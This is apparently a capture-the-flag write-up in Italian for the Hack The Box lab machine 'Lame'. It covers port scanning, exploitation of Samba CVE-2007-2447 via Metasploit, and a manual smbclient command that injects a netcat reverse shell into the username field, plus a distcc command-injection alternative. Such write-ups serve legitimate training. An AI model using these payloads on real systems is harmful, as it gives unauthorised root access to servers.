/writeups / lame
Lame
Prima macchina pubblicata su HTB. Samba 3.0.20 vulnerabile a CVE-2007-2447 (username map script injection) fornisce shell root diretta senza privesc.
IP
10.10.10.3
OS
Linux
Released
2017-03-14
Retired
2017-05-26
Reconnaissance
Nmap full-port scan con version detection e default scripts per mappare la superficie esposta.
nmap -sV -sC -p- --min-rate 5000 -oN lame.nmap 10.10.10.3Output rilevante:
21/tcp open ftp vsftpd 2.3.4
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X
445/tcp open netbios-ssn Samba smbd 3.0.20-Debian
3632/tcp open distccd distcc v1 ((GNU) 4.2.4)- ▸vsftpd 2.3.4 — backdoor nota (CVE-2011-2523) ma il trigger non funziona su questa macchina
- ▸Samba 3.0.20 — vulnerabile a CVE-2007-2447 (username map script RCE)
- ▸distcc 3632 — vulnerabile a CVE-2004-2687 (command injection), path alternativo
Exploitation — Samba CVE-2007-2447
Samba 3.0.20 con `username map script` abilitato non sanitizza il campo username durante l'autenticazione SMB. Metacaratteri shell vengono eseguiti come root dal processo smbd.
Con Metasploit:
msf6 > use exploit/multi/samba/usermap_script
msf6 exploit(usermap_script) > set RHOSTS 10.10.10.3
msf6 exploit(usermap_script) > set LHOST <tua_ip>
msf6 exploit(usermap_script) > runManuale — il campo username viene passato allo script senza escape. Si inietta una reverse shell tramite backtick nel campo username di smbclient:
# listener sul proprio host
nc -lvnp 4444
# payload iniettato nel campo username
smbclient //10.10.10.3/tmp \
-U "/=`nohup nc -e /bin/bash <tua_ip> 4444`" \
-NLa shell apre direttamente come root — nessun privesc necessario perché smbd gira con UID 0 su questa configurazione.
Flags
# user flag (home dell'utente makis)
cat /home/makis/user.txt
# root flag
cat /root/root.txtEntrambi accessibili direttamente dalla shell root. User flag leggibile anche senza privesc grazie ai permessi 644.
Alternativa — distcc CVE-2004-2687
Porta 3632 (distcc daemon) è vulnerabile a command injection. Lo script Nmap lo verifica automaticamente:
nmap -p 3632 \
--script distcc-cve2004-2687 \
--script-args="distcc-cve2004-2687.cmd='id'" \
10.10.10.3Questo path restituisce shell come utente `daemon` (non root) — richiede privesc successivo. CVE-2007-2447 via Samba è il path privilegiato.
Takeaway
- ▸Enumerare sempre la versione Samba — 3.0.x su macchine legacy è quasi sempre vulnerabile a CVE-2007-2447
- ▸CVE-2007-2447 sfruttabile senza Metasploit con smbclient standard: utile in ambienti senza framework disponibile
- ▸Su macchine con multipli path di exploit, selezionare quello che porta a root direttamente per ridurre la rumorosità
- ▸distcc su porta non standard è frequentemente ignorato — full-port scan sempre, anche su macchine che sembrano semplici